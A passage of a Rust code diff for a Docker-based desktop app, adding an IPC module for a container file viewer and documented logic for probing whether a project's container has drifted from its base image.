return Err(format!("{} path cannot be empty", what));
|
||||
}
|
||||
@@ -394,7 +394,7 @@ fn validate_container_path(what: &str, path: &str) -> Result<(), String> {
|
||||
/// directly. What it buys is that the *panel* keeps its promise — the roots
|
||||
/// named in the refusal are the roots it writes to — and that a mis-aimed drop
|
||||
/// cannot quietly land outside them.
|
||||
fn validate_container_write_path(what: &str, path: &str) -> Result<(), String> {
|
||||
pub(crate) fn validate_container_write_path(what: &str, path: &str) -> Result<(), String> {
|
||||
validate_container_path(what, path)?;
|
||||
if CONTAINER_WRITE_ROOTS
|
||||
.iter()
|
||||
@@ -1178,12 +1178,12 @@ fn push_capped(buf: &mut String, frame: &[u8]) {
|
||||
}
|
||||
|
||||
/// One regular file's bytes, pulled out of a container.
|
||||
struct FetchedFile {
|
||||
bytes: Vec<u8>,
|
||||
pub(crate) struct FetchedFile {
|
||||
pub(crate) bytes: Vec<u8>,
|
||||
/// The size the tar header declared, i.e. the file's real size — which is
|
||||
/// not `bytes.len()` once `max_bytes` has cut the read short.
|
||||
size: u64,
|
||||
truncated: bool,
|
||||
pub(crate) size: u64,
|
||||
pub(crate) truncated: bool,
|
||||
}
|
||||
|
||||
/// Fetch a single regular file from a container as exact bytes.
|
||||
@@ -1202,7 +1202,7 @@ struct FetchedFile {
|
||||
/// file — or the whole *directory tree*, since the type check happens after the
|
||||
/// read — landed in host RAM twice. This function buffers, so every caller of
|
||||
/// it must name a ceiling.
|
||||
async fn fetch_container_file(
|
||||
pub(crate) async fn fetch_container_file(
|
||||
container_id: &str,
|
||||
container_path: &str,
|
||||
max_bytes: u64,
|
||||
@@ -1448,6 +1448,14 @@ pub async fn create_container_directory(
|
||||
Ok(dest)
|
||||
}
|
||||
|
||||
/// Every "container is not running" refusal starts with this, so a caller (the file
|
||||
/// viewer's poll, `app/src/viewer/ipcMessages.ts`) can tell it apart from any other failure.
|
||||
pub(crate) const NOT_RUNNING_PREFIX: &str = "Start the project before";
|
||||
|
||||
pub(crate) fn not_running_message(action: &str, why: &str) -> String {
|
||||
format!("{} {} — {}.", NOT_RUNNING_PREFIX, action, why)
|
||||
}
|
||||
|
||||
/// Refuse, in a sentence, before a Docker error has to speak for us.
|
||||
///
|
||||
/// Both file transfers and the backup run through `docker exec`, which needs a
|
||||
@@ -1456,7 +1464,7 @@ pub async fn create_container_directory(
|
||||
/// upload it surfaces even less usefully: `resolve_container_dir`'s `realpath`
|
||||
/// is the first thing to touch the container, so a stopped project fails inside
|
||||
/// path *validation* and reads like the path was the problem.
|
||||
async fn require_running(container_id: &str, action: &str) -> Result<(), String> {
|
||||
pub(crate) async fn require_running(container_id: &str, action: &str) -> Result<(), String> {
|
||||
let docker = get_docker()?;
|
||||
let running = docker
|
||||
.inspect_container(container_id, None)
|
||||
@@ -1468,10 +1476,7 @@ async fn require_running(container_id: &str, action: &str) -> Result<(), String>
|
||||
if running {
|
||||
return Ok(());
|
||||
}
|
||||
Err(format!(
|
||||
"Start the project before {} — it runs inside the running container.",
|
||||
action
|
||||
))
|
||||
Err(not_running_message(action, "it runs inside the running container"))
|
||||
}
|
||||
|
||||
/// Copy one regular file out of a container onto a host path the user chose in
|
||||
@@ -2011,7 +2016,7 @@ async fn upload_one(
|
||||
/// call site for why each of those three matters; the short version is that
|
||||
/// this text ends up inside a toast that renders above every modal, and its
|
||||
/// author is the container.
|
||||
fn clip_container_text(text: &str) -> String {
|
||||
pub(crate) fn clip_container_text(text: &str) -> String {
|
||||
const MAX: usize = 200;
|
||||
let flattened: String = text
|
||||
.trim()
|
||||
|
||||
@@ -0,0 +1,365 @@
|
||||
//! IPC for the terminal file viewer. Every command here is gated on the calling
|
||||
//! window's label and reads its target from the registry — no path, no label, no
|
||||
//! project id crosses IPC from a viewer window. See spec §6.
|
||||
|
||||
use base64::engine::general_purpose::STANDARD as BASE64;
|
||||
use base64::Engine as _;
|
||||
use serde::Serialize;
|
||||
use tauri::{AppHandle, Emitter, Manager, State};
|
||||
|
||||
use crate::commands::file_commands::{
|
||||
fetch_container_file, not_running_message, require_running, validate_container_write_path, MAX_READ_BYTES,
|
||||
};
|
||||
use crate::file_viewer::is_viewer_label;
|
||||
use crate::file_viewer::poll::{poll_file, ViewerPoll};
|
||||
use crate::file_viewer::registry::{
|
||||
Choice, Location, Reservation, ViewerRegistry, ViewerTarget, ViewerTargetState,
|
||||
};
|
||||
use crate::file_viewer::resolve::{candidate_paths, probe_candidates};
|
||||
use crate::file_viewer::window::open_viewer_window;
|
||||
use crate::file_viewer::write::{sha256_hex, write_file, SavedFile, MAX_WRITE_BYTES};
|
||||
use crate::models::Project;
|
||||
use crate::AppState;
|
||||
|
||||
pub const GOTO_EVENT: &str = "file-viewer-goto";
|
||||
|
||||
#[derive(Clone, Debug, Serialize)]
|
||||
pub struct ViewerState {
|
||||
pub project_id: String,
|
||||
pub project_name: String,
|
||||
pub raw_path: String,
|
||||
pub state: ViewerTargetState,
|
||||
pub initial: Location,
|
||||
}
|
||||
|
||||
#[derive(Clone, Debug, Serialize)]
|
||||
pub struct ViewerFile {
|
||||
pub contents_base64: String,
|
||||
pub truncated: bool,
|
||||
pub size: u64,
|
||||
pub hash: String,
|
||||
pub editable: bool,
|
||||
pub readonly_reason: Option<String>,
|
||||
}
|
||||
|
||||
fn require_main(window_label: &str) -> Result<(), String> {
|
||||
if window_label == "main" {
|
||||
Ok(())
|
||||
} else {
|
||||
Err("Only the main window can open files.".into())
|
||||
}
|
||||
}
|
||||
|
||||
fn require_viewer(window_label: &str) -> Result<String, String> {
|
||||
if is_viewer_label(window_label) {
|
||||
Ok(window_label.to_string())
|
||||
} else {
|
||||
Err("This command belongs to a file window.".into())
|
||||
}
|
||||
}
|
||||
|
||||
fn viewer_state_of(_label: &str, target: ViewerTarget) -> ViewerState {
|
||||
ViewerState {
|
||||
project_id: target.project_id,
|
||||
project_name: target.project_name,
|
||||
raw_path: target.raw_path,
|
||||
state: target.state,
|
||||
initial: target.initial,
|
||||
}
|
||||
}
|
||||
|
||||
fn window_title(raw_path: &str, project_name: &str) -> String {
|
||||
let base = raw_path.trim_end_matches('/').rsplit('/').next().unwrap_or(raw_path);
|
||||
format!("{} — {}", base, project_name)
|
||||
}
|
||||
|
||||
/// Refuses a save payload before decoding it: base64 of at most
|
||||
/// [`MAX_WRITE_BYTES`] is at most `4 * ceil(MAX_WRITE_BYTES / 3)` characters.
|
||||
/// `write_file` enforces the cap on the decoded bytes too; this stops a
|
||||
/// compromised viewer from making the app allocate and decode an arbitrarily
|
||||
/// large string first.
|
||||
fn check_encoded_len(encoded_len: usize) -> Result<(), String> {
|
||||
if encoded_len > MAX_WRITE_BYTES.div_ceil(3) * 4 {
|
||||
return Err("Files over 1 MiB are read-only in the viewer.".into());
|
||||
}
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// The caller's registry entry, or a sentence.
|
||||
fn own_target(
|
||||
window: &tauri::Window,
|
||||
registry: &ViewerRegistry,
|
||||
) -> Result<(String, ViewerTarget), String> {
|
||||
let label = require_viewer(window.label())?;
|
||||
let target = registry
|
||||
.get(&label)
|
||||
.ok_or_else(|| "This file window is no longer registered.".to_string())?;
|
||||
Ok((label, target))
|
||||
}
|
||||
|
||||
fn resolved_path(target: &ViewerTarget) -> Result<String, String> {
|
||||
match &target.state {
|
||||
ViewerTargetState::Resolved { container_path } => Ok(container_path.clone()),
|
||||
_ => Err("Choose a file first.".into()),
|
||||
}
|
||||
}
|
||||
|
||||
/// The one place a viewer command looks up its project (P14).
|
||||
fn project_of(state: &AppState, project_id: &str) -> Result<Project, String> {
|
||||
state
|
||||
.projects_store
|
||||
.get(project_id)
|
||||
.ok_or_else(|| "This project no longer exists.".to_string())
|
||||
}
|
||||
|
||||
/// `action` completes "Start the project before …", e.g. "saving this file".
|
||||
async fn running_container_of(project: &Project, action: &str) -> Result<String, String> {
|
||||
let container_id = project
|
||||
.container_id
|
||||
.clone()
|
||||
.ok_or_else(|| not_running_message(action, "files live in its container"))?;
|
||||
require_running(&container_id, action).await?;
|
||||
Ok(container_id)
|
||||
}
|
||||
|
||||
/// The container of the project a viewer window belongs to, if it is running.
|
||||
async fn running_container_for(
|
||||
state: &AppState,
|
||||
target: &ViewerTarget,
|
||||
action: &str,
|
||||
) -> Result<String, String> {
|
||||
running_container_of(&project_of(state, &target.project_id)?, action).await
|
||||
}
|
||||
|
||||
/// Raises an existing viewer window and moves it to `location`.
|
||||
fn focus_viewer(app: &AppHandle, label: &str, location: Location) {
|
||||
if let Some(existing) = app.get_webview_window(label) {
|
||||
let _ = existing.unminimize();
|
||||
let _ = existing.set_focus();
|
||||
let _ = app.emit_to(label, GOTO_EVENT, location);
|
||||
}
|
||||
}
|
||||
|
||||
// Nine parameters are fixed by the IPC contract (P10); four injected by Tauri.
|
||||
#[allow(clippy::too_many_arguments)]
|
||||
#[tauri::command]
|
||||
pub async fn open_file_viewer(
|
||||
project_id: String,
|
||||
path: String,
|
||||
line: Option<u32>,
|
||||
col: Option<u32>,
|
||||
end_line: Option<u32>,
|
||||
window: tauri::Window,
|
||||
app: AppHandle,
|
||||
registry: State<'_, ViewerRegistry>,
|
||||
state: State<'_, AppState>,
|
||||
) -> Result<(), String> {
|
||||
require_main(window.label())?;
|
||||
let project = project_of(&state, &project_id)?;
|
||||
let container_id = running_container_of(&project, "opening files").await?;
|
||||
|
||||
let mounts: Vec<String> = project.paths.iter().map(|p| p.mount_name.clone()).collect();
|
||||
let candidates = candidate_paths(&path, &mounts)?;
|
||||
let matches = probe_candidates(&container_id, &candidates).await?;
|
||||
let initial = Location { line, col, end_line };
|
||||
|
||||
let target_state = match matches.len() {
|
||||
0 => ViewerTargetState::NotFound { tried: candidates },
|
||||
1 => ViewerTargetState::Resolved { container_path: matches[0].clone() },
|
||||
_ => ViewerTargetState::Choose { candidates: matches },
|
||||
};
|
||||
|
||||
let title = window_title(&path, &project.name);
|
||||
let target = ViewerTarget {
|
||||
project_id,
|
||||
project_name: project.name.clone(),
|
||||
raw_path: path,
|
||||
state: target_state,
|
||||
initial: initial.clone(),
|
||||
};
|
||||
// Dedupe, stale pruning and the cap are one registry call, so a second click
|
||||
// while the first window is still being built finds it rather than reading
|
||||
// its not-yet-existing window as stale.
|
||||
let label = match registry.reserve(target, |l| app.get_webview_window(l).is_some())? {
|
||||
Reservation::Reserved(label) => label,
|
||||
// Still being built: it opens at its own location in a moment.
|
||||
Reservation::Existing { built: false, .. } => return Ok(()),
|
||||
Reservation::Existing { label, built: true } => {
|
||||
focus_viewer(&app, &label, initial);
|
||||
return Ok(());
|
||||
}
|
||||
};
|
||||
if let Err(e) = open_viewer_window(&app, &label, &title) {
|
||||
registry.remove(&label);
|
||||
return Err(e);
|
||||
}
|
||||
registry.mark_built(&label);
|
||||
Ok(())
|
||||
}
|
||||
|
||||
#[tauri::command]
|
||||
pub async fn viewer_get_state(
|
||||
window: tauri::Window,
|
||||
registry: State<'_, ViewerRegistry>,
|
||||
) -> Result<ViewerState, String> {
|
||||
let (label, target) = own_target(&window, ®istry)?;
|
||||
Ok(viewer_state_of(&label, target))
|
||||
}
|
||||
|
||||
#[tauri::command]
|
||||
pub async fn viewer_choose_file(
|
||||
index: usize,
|
||||
window: tauri::Window,
|
||||
registry: State<'_, ViewerRegistry>,
|
||||
) -> Result<ViewerState, String> {
|
||||
let (label, target) = own_target(&window, ®istry)?;
|
||||
let chosen = match &target.state {
|
||||
ViewerTargetState::Choose { candidates } => candidates
|
||||
.get(index)
|
||||
.cloned()
|
||||
.ok_or_else(|| "That choice is no longer available.".to_string())?,
|
||||
_ => return Err("This window is not choosing a file.".into()),
|
||||
};
|
||||
let app = window.app_handle();
|
||||
match registry.choose(&label, chosen, |l| app.get_webview_window(l).is_some())? {
|
||||
Choice::Resolved(updated) => Ok(viewer_state_of(&label, updated)),
|
||||
// Another window already has this file. This window was only ever a
|
||||
// chooser, so hand over to that one and close this one, as a second
|
||||
// click on the same path would have. The error is what this window
|
||||
// shows if the destroy fails.
|
||||
Choice::AlreadyOpen { label: other, .. } => {
|
||||
focus_viewer(app, &other, target.initial);
|
||||
let _ = window.destroy();
|
||||
Err("This file is already open in another window.".into())
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
#[tauri::command]
|
||||
pub async fn viewer_read_file(
|
||||
max_bytes: u64,
|
||||
window: tauri::Window,
|
||||
registry: State<'_, ViewerRegistry>,
|
||||
state: State<'_, AppState>,
|
||||
) -> Result<ViewerFile, String> {
|
||||
let (_label, target) = own_target(&window, ®istry)?;
|
||||
let path = resolved_path(&target)?;
|
||||
let container_id = running_container_for(&state, &target, "opening files").await?;
|
||||
let cap = max_bytes.clamp(1, MAX_READ_BYTES);
|
||||
let fetched = fetch_container_file(&container_id, &path, cap).await?;
|
||||
let (editable, readonly_reason) = match validate_container_write_path("File", &path) {
|
||||
Ok(()) => (true, None),
|
||||
Err(reason) => (false, Some(reason)),
|
||||
};
|
||||
Ok(ViewerFile {
|
||||
hash: sha256_hex(&fetched.bytes),
|
||||
contents_base64: BASE64.encode(&fetched.bytes),
|
||||
truncated: fetched.truncated,
|
||||
size: fetched.size,
|
||||
editable,
|
||||
readonly_reason,
|
||||
})
|
||||
}
|
||||
|
||||
#[tauri::command]
|
||||
pub async fn viewer_poll_file(
|
||||
window: tauri::Window,
|
||||
registry: State<'_, ViewerRegistry>,
|
||||
state: State<'_, AppState>,
|
||||
) -> Result<ViewerPoll, String> {
|
||||
let (_label, target) = own_target(&window, ®istry)?;
|
||||
let path = resolved_path(&target)?;
|
||||
let container_id = running_container_for(&state, &target, "checking this file for changes").await?;
|
||||
poll_file(&container_id, &path).await
|
||||
}
|
||||
|
||||
/// Errors from `write_file` pass through unchanged: the frontend matches the
|
||||
/// `write::CONFLICT_PREFIX`/`GONE_PREFIX` prefixes and `READ_ONLY_MESSAGE` (TS copies in
|
||||
/// `app/src/viewer/ipcMessages.ts`), and anything else (a full disk) is already a
|
||||
/// sentence it shows as is. Success is a `SavedFile`: the new base hash and the hash
|
||||
/// the disk held right after the swap.
|
||||
#[tauri::command]
|
||||
pub async fn viewer_write_file(
|
||||
contents_base64: String,
|
||||
base_hash: String,
|
||||
window: tauri::Window,
|
||||
registry: State<'_, ViewerRegistry>,
|
||||
state: State<'_, AppState>,
|
||||
) -> Result<SavedFile, String> {
|
||||
let (_label, target) = own_target(&window, ®istry)?;
|
||||
let path = resolved_path(&target)?;
|
||||
validate_container_write_path("File", &path)?;
|
||||
check_encoded_len(contents_base64.len())?;
|
||||
let bytes = BASE64
|
||||
.decode(contents_base64.as_bytes())
|
||||
.map_err(|_| "The editor sent malformed content.".to_string())?;
|
||||
let container_id = running_container_for(&state, &target, "saving this file").await?;
|
||||
write_file(&container_id, &state.exec_manager, &path, &bytes, &base_hash).await
|
||||
}
|
||||
|
||||
#[cfg(test)]
|
||||
mod tests {
|
||||
use super::*;
|
||||
|
||||
#[test]
|
||||
fn open_is_main_only_and_viewer_commands_are_viewer_only() {
|
||||
assert!(require_main("main").is_ok());
|
||||
assert!(require_main("file-viewer-1").is_err());
|
||||
assert!(require_main("browser-view-x").is_err());
|
||||
assert_eq!(require_viewer("file-viewer-7").unwrap(), "file-viewer-7");
|
||||
assert!(require_viewer("main").is_err());
|
||||
assert!(require_viewer("file-viewer-").is_err());
|
||||
}
|
||||
|
||||
/// Both "no container" refusals a viewer command can give start with the prefix
|
||||
/// the viewer reads as "Container not running" (`ipcMessages.ts`).
|
||||
#[test]
|
||||
fn not_running_refusals_carry_the_shared_prefix() {
|
||||
use crate::commands::file_commands::NOT_RUNNING_PREFIX;
|
||||
let m = not_running_message("checking this file for changes", "files live in its container");
|
||||
assert_eq!(m, "Start the project before checking this file for changes — files live in its container.");
|
||||
assert!(m.starts_with(NOT_RUNNING_PREFIX));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn a_saved_file_serialises_both_hashes() {
|
||||
let json = serde_json::to_value(SavedFile { hash: "a".into(), disk_hash: "b".into() }).unwrap();
|
||||
assert_eq!(json, serde_json::json!({ "hash": "a", "disk_hash": "b" }));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn the_title_is_basename_then_project() {
|
||||
assert_eq!(window_title("app/src/lib/urlRelay.ts", "Triple-C"), "urlRelay.ts — Triple-C");
|
||||
assert_eq!(window_title("/workspace/x/README.md", "x"), "README.md — x");
|
||||
assert_eq!(window_title("Makefile", "p"), "Makefile — p");
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn viewer_state_serialises_the_ipc_shape() {
|
||||
let target = ViewerTarget {
|
||||
project_id: "pid".into(),
|
||||
project_name: "P".into(),
|
||||
raw_path: "src/a.rs".into(),
|
||||
state: ViewerTargetState::Resolved { container_path: "/workspace/p/src/a.rs".into() },
|
||||
initial: Location { line: Some(3), col: Some(2), end_line: None },
|
||||
};
|
||||
let json = serde_json::to_value(viewer_state_of("file-viewer-1", target)).unwrap();
|
||||
assert_eq!(json["project_id"], "pid");
|
||||
assert_eq!(json["state"]["kind"], "resolved");
|
||||
assert_eq!(json["state"]["container_path"], "/workspace/p/src/a.rs");
|
||||
assert_eq!(json["initial"]["line"], 3);
|
||||
assert!(json["initial"]["end_line"].is_null());
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn the_encoded_length_is_capped_before_decoding() {
|
||||
let at_cap = BASE64.encode(vec![0u8; MAX_WRITE_BYTES]);
|
||||
assert!(check_encoded_len(at_cap.len()).is_ok());
|
||||
// MAX + 1 and MAX + 2 bytes pad to the same length as MAX; `write_file`'s
|
||||
// decoded check refuses those. The first size this bound itself refuses:
|
||||
let over_cap = BASE64.encode(vec![0u8; MAX_WRITE_BYTES + 3]);
|
||||
assert!(check_encoded_len(over_cap.len()).is_err());
|
||||
assert!(check_encoded_len(at_cap.len() + 1).is_err());
|
||||
assert!(check_encoded_len(0).is_ok());
|
||||
}
|
||||
}
|
||||
File diff suppressed because it is too large
Load Diff
@@ -92,8 +92,336 @@ fn pick_recorded_lineage(
|
||||
.or_else(|| from_snapshot.filter(|v| !v.is_empty()))
|
||||
}
|
||||
|
||||
/// Read-only. Runs two filesystem probes (~3 s each) and is therefore meant to
|
||||
/// be called on demand, not polled.
|
||||
/// Reported as `probe_error` when there is genuinely nothing to read: no
|
||||
/// container, stopped or otherwise, and no snapshot image.
|
||||
///
|
||||
/// It used to be reported for a *stopped* container too, which was simply
|
||||
/// untrue — the container was sitting right there — and it disabled Update on
|
||||
/// exactly the long-lived projects that had never been recreated and so had no
|
||||
/// snapshot to fall back on.
|
||||
const NOTHING_TO_PROBE: &str = "This project has no container or snapshot image yet, so there is nothing to compare against the base image.";
|
||||
|
||||
/// The project's container, as the daemon reported it.
|
||||
///
|
||||
/// `running` lives *inside* `Present` because it is only ever read about a
|
||||
/// container that was found: `is_container_running` needs an id. Keeping the
|
||||
/// two in one variant makes "running, but no container" unrepresentable rather
|
||||
/// than merely unreached, which is what [`pick_probe_source`] relies on when it
|
||||
/// hands a container id to the container probe arms.
|
||||
#[derive(Debug, PartialEq, Eq)]
|
||||
enum ContainerState {
|
||||
/// The project genuinely has no container — an answer, not a failure to
|
||||
/// look.
|
||||
Absent,
|
||||
Present {
|
||||
id: String,
|
||||
running: bool,
|
||||
},
|
||||
}
|
||||
|
||||
impl ContainerState {
|
||||
fn id(&self) -> Option<&str> {
|
||||
match self {
|
||||
ContainerState::Absent => None,
|
||||
ContainerState::Present { id, .. } => Some(id),
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/// Where [`get_container_staleness`] reads the project's *current* filesystem
|
||||
/// from, in descending order of how current the answer is.
|
||||
///
|
||||
/// The container variants carry the id they will be probed with, so that
|
||||
/// "there is a container to read" and "here is which one" cannot come apart
|
||||
/// downstream.
|
||||
#[derive(Debug, PartialEq, Eq)]
|
||||
enum ProbeSource<'a> {
|
||||
/// `docker exec` into the live container. The only source that includes
|
||||
/// everything installed since the last commit *in this session*.
|
||||
RunningContainer(&'a str),
|
||||
/// Commit the stopped container's writable layer to a throwaway image and
|
||||
/// probe that. Exactly as current as the container, which is what makes it
|
||||
/// preferable to the snapshot — see below.
|
||||
StoppedContainer(&'a str),
|
||||
/// A throwaway container from `triple-c-snapshot-<id>:latest`.
|
||||
Snapshot,
|
||||
/// Nothing to read: no container, no snapshot.
|
||||
Nothing,
|
||||
}
|
||||
|
||||
/// Pick the probe source, or report the one reading this decision needed and
|
||||
/// did not get.
|
||||
///
|
||||
/// **A stopped container outranks the snapshot.** The snapshot image is not a
|
||||
/// checkpoint — `commit_container_snapshot` runs only before a removal (a
|
||||
/// config-change recreate) or inside a migration, so a project that has never
|
||||
/// hit either has *no snapshot at all*, however long it has been in use, and
|
||||
/// one that has is stale by everything installed since. The container's
|
||||
/// writable layer is the truth in both cases. This is the same argument
|
||||
/// [`mig::manifest_from_container`] already makes for the running case; it does
|
||||
/// not stop applying when the container is stopped.
|
||||
///
|
||||
/// Getting this wrong is what made a stopped, never-recreated project report
|
||||
/// "no container or snapshot image yet" — with its container sitting right
|
||||
/// there — and left Update disabled on the projects that most needed it.
|
||||
///
|
||||
/// **`snapshot_exists` is consulted only where it decides something.** When a
|
||||
/// container answered, the snapshot is not part of this decision at all, so a
|
||||
/// failed `image_exists` is passed over rather than surfaced: destroying a
|
||||
/// report the running container could have supplied in full would be the same
|
||||
/// mistake, in the other direction, as reading an unreachable daemon as an
|
||||
/// absent container. It is load-bearing only with no container at all, and
|
||||
/// there its failure *is* the answer this function cannot give.
|
||||
fn pick_probe_source<'a>(
|
||||
container: &'a ContainerState,
|
||||
snapshot_exists: &Result<bool, String>,
|
||||
) -> Result<ProbeSource<'a>, String> {
|
||||
match container {
|
||||
ContainerState::Present { id, running: true } => Ok(ProbeSource::RunningContainer(id)),
|
||||
// The stopped path may still want the snapshot, but only as a fallback
|
||||
// it can do without — see `stopped_probe_policy` and the commit-failure
|
||||
// arm in `get_container_staleness`, which each handle an unreadable
|
||||
// snapshot themselves.
|
||||
ContainerState::Present { id, running: false } => Ok(ProbeSource::StoppedContainer(id)),
|
||||
ContainerState::Absent => match snapshot_exists {
|
||||
Ok(true) => Ok(ProbeSource::Snapshot),
|
||||
Ok(false) => Ok(ProbeSource::Nothing),
|
||||
Err(e) => Err(probe_failed(e)),
|
||||
},
|
||||
}
|
||||
}
|
||||
|
||||
/// Reported as `probe_error` when another operation owns the project and there
|
||||
/// is no snapshot image to read instead. Deliberately not a claim about the
|
||||
/// container: nothing is wrong with it, the answer is simply not safe to take
|
||||
/// right now. See [`stopped_probe_policy`].
|
||||
const PROJECT_BUSY: &str = "Another operation is running on this project, so its contents could not be inspected. Try again once it finishes.";
|
||||
|
||||
/// What to do about a stopped container, whose probe is the expensive one: it
|
||||
/// commits the writable layer before it can read anything.
|
||||
#[derive(Debug, PartialEq, Eq)]
|
||||
enum StoppedProbe {
|
||||
/// Commit and probe. The current answer, and the default.
|
||||
Commit,
|
||||
/// Probe the snapshot image instead. Less current — it lags the container by
|
||||
/// everything installed since the last commit — but it allocates nothing and
|
||||
/// touches nothing, which is what makes it the right answer while another
|
||||
/// operation owns the container.
|
||||
SnapshotInstead,
|
||||
/// Report rather than guess, with the message to report.
|
||||
Defer(String),
|
||||
}
|
||||
|
||||
/// Pick what to do about a stopped container.
|
||||
///
|
||||
/// **Never commits while the project is claimed.** `get_container_staleness`
|
||||
/// takes no [`crate::project_lock`] claim of its own, by design, so a commit
|
||||
/// here can overlap a Recreate or Reset — and the collision is not symmetric.
|
||||
/// The probe losing is harmless: a surfaced `probe_error` the user retries. The
|
||||
/// *recreate* losing is not, because `start_project_container` removes the old
|
||||
/// container with a hard `?`, so a non-404 from a remove that raced this commit
|
||||
/// fails the whole Start with an opaque "Failed to remove container". Reading
|
||||
/// the claim costs nothing and takes that failure off the table.
|
||||
///
|
||||
/// `snapshot_exists` matters only once the project is busy, because that is the
|
||||
/// only state in which the snapshot is the alternative to committing. An
|
||||
/// unreadable snapshot there leaves nothing to fall back *to*, so its error is
|
||||
/// what gets reported: "try again once it finishes" alone would be a claim that
|
||||
/// waiting is all that stands in the way, which a failed `image_exists` has not
|
||||
/// established.
|
||||
fn stopped_probe_policy(
|
||||
project_is_busy: bool,
|
||||
snapshot_exists: &Result<bool, String>,
|
||||
) -> StoppedProbe {
|
||||
match (project_is_busy, snapshot_exists) {
|
||||
(false, _) => StoppedProbe::Commit,
|
||||
(true, Ok(true)) => StoppedProbe::SnapshotInstead,
|
||||
(true, Ok(false)) => StoppedProbe::Defer(PROJECT_BUSY.to_string()),
|
||||
(true, Err(e)) => StoppedProbe::Defer(probe_failed(e)),
|
||||
}
|
||||
}
|
||||
|
||||
/// Reported as `probe_error` when a probe input could not be read at all.
|
||||
///
|
||||
/// Deliberately distinct from [`NOTHING_TO_PROBE`]: a failed reading is not
|
||||
/// evidence that the project has no container, and saying "no container or
|
||||
/// snapshot image yet" on a transient fault was confidently wrong about a
|
||||
/// project that may well have both.
|
||||
///
|
||||
/// Deliberately *neutral about the cause*, too. Only one of the four readings
|
||||
/// implies an unreachable daemon: `mig::image_id` maps a 404 to `Ok(None)` and
|
||||
/// returns `Err` for any other status, and `find_existing_container` /
|
||||
/// `image_exists` wrap every list failure the same way — all of which a daemon
|
||||
/// that answered perfectly well can produce. The base image name comes from
|
||||
/// user settings, so a malformed reference alone reaches here, and telling that
|
||||
/// user to go fix a running daemon would be the same unestablished claim about
|
||||
/// a cause that this whole probe path exists to stop making.
|
||||
///
|
||||
/// The underlying error is carried through verbatim, because "Docker is not
|
||||
/// running" and "permission denied on /var/run/docker.sock" call for different
|
||||
/// fixes from the user.
|
||||
///
|
||||
/// The sentence names *the check*, not the container, because only two of the
|
||||
/// four readings are about the container at all — the other two are the base
|
||||
/// image and the snapshot image. Saying "this project's container could not be
|
||||
/// inspected" for a malformed base image name in settings would point the user
|
||||
/// at the wrong object, which is the same mistake one size down.
|
||||
fn probe_failed(e: &str) -> String {
|
||||
format!("This project could not be checked against its base image: {}", e)
|
||||
}
|
||||
|
||||
/// The four daemon readings [`get_container_staleness`] takes before it can
|
||||
/// choose a probe source, each still carrying whether it is an answer.
|
||||
///
|
||||
/// **Absence and unreachability are different answers, and only one of them is
|
||||
/// an answer.** All four callees already draw that line — `image_id` maps a 404
|
||||
/// to `Ok(None)`, `find_existing_container` and `image_exists` return `Ok` with
|
||||
/// an empty filtered list — so a call site that writes `.unwrap_or(None)` /
|
||||
/// `.unwrap_or(false)` is not defaulting, it is *discarding a distinction the
|
||||
/// callee went to the trouble of making*. That is what let an unreachable
|
||||
/// daemon reach [`pick_probe_source`] as "no container, no snapshot" and report
|
||||
/// [`NOTHING_TO_PROBE`] — a confident claim about a project nothing had
|
||||
/// actually looked at.
|
||||
///
|
||||
/// The `Result` fields are the guard against that returning: the call site
|
||||
/// hands over what the daemon said, unmodified, and an `.unwrap_or` there no
|
||||
/// longer type-checks.
|
||||
#[derive(Debug)]
|
||||
struct ProbeReadings {
|
||||
/// `docker::find_existing_container`.
|
||||
container_id: Result<Option<String>, String>,
|
||||
/// `docker::is_container_running`, and `None` when there was no container
|
||||
/// to ask about — not a swallowed error.
|
||||
container_running: Option<Result<bool, String>>,
|
||||
/// `mig::image_id` for the configured base image.
|
||||
base_image_id: Result<Option<String>, String>,
|
||||
/// `docker::image_exists` for the project's snapshot image.
|
||||
snapshot_exists: Result<bool, String>,
|
||||
}
|
||||
|
||||
/// The readings [`get_container_staleness`] carries past the point where a
|
||||
/// missing one would have stopped it.
|
||||
#[derive(Debug)]
|
||||
struct ProbeInputs {
|
||||
/// The current base image's ID, or `None` when it is not pulled locally —
|
||||
/// which [`mig::image_id`] reports as `Ok(None)`, not an error.
|
||||
current_base_image_id: Option<String>,
|
||||
container: ContainerState,
|
||||
/// Still a `Result`, because whether it is load-bearing depends on the
|
||||
/// container: see [`pick_probe_source`].
|
||||
snapshot_exists: Result<bool, String>,
|
||||
}
|
||||
|
||||
/// What [`get_container_staleness`] does next, once the readings are in.
|
||||
#[derive(Debug)]
|
||||
enum ProbeStart {
|
||||
/// Go ahead, with these inputs.
|
||||
Inputs(Box<ProbeInputs>),
|
||||
/// Stop, and hand the user this report.
|
||||
///
|
||||
/// **Reported, not returned.** The hook's `catch` sets `staleness` to
|
||||
/// `null`, and `ContainerMigrationBanner` renders nothing at all for a null
|
||||
/// staleness — so an `Err` out of the command would make the banner vanish
|
||||
/// at exactly the moment it has something to say. A `probe_error` on an
|
||||
/// otherwise-default report keeps it on screen, reading "Container base
|
||||
/// could not be checked". Carrying a `ContainerStaleness` rather than an
|
||||
/// error string is what keeps that decision here, where it is tested,
|
||||
/// instead of in the `?` someone adds at the call site later.
|
||||
Report(Box<ContainerStaleness>),
|
||||
}
|
||||
|
||||
/// Decide whether the collected readings are enough to probe with.
|
||||
///
|
||||
/// Only the readings this decision actually rests on can stop it:
|
||||
///
|
||||
/// * `container_id` selects the probe source outright, so a failure to read it
|
||||
/// leaves nothing to choose between. Fatal.
|
||||
/// * `base_image_id` is fatal too, and deliberately so: it is the right-hand
|
||||
/// side of the staleness comparison, where `None` ("not pulled locally", an
|
||||
/// answer) and `Err` ("could not ask") both otherwise collapse into
|
||||
/// `stale: false`. Reporting a project as up to date because the base image
|
||||
/// could not be read is exactly the #56 mistake, one field over.
|
||||
/// * `container_running` is asked only about a container that was found, and
|
||||
/// decides between two live probe sources. Fatal when present.
|
||||
/// * `snapshot_exists` is *not* fatal here, because it is load-bearing in only
|
||||
/// two of the downstream states — no container at all, and a stopped
|
||||
/// container on a busy project. It travels as a `Result` so each of those can
|
||||
/// surface it, and the states that never consult it are not punished for it.
|
||||
///
|
||||
/// The first error wins, because when the daemon is unreachable they fail
|
||||
/// together and the user needs the reason once, not three times. The order is
|
||||
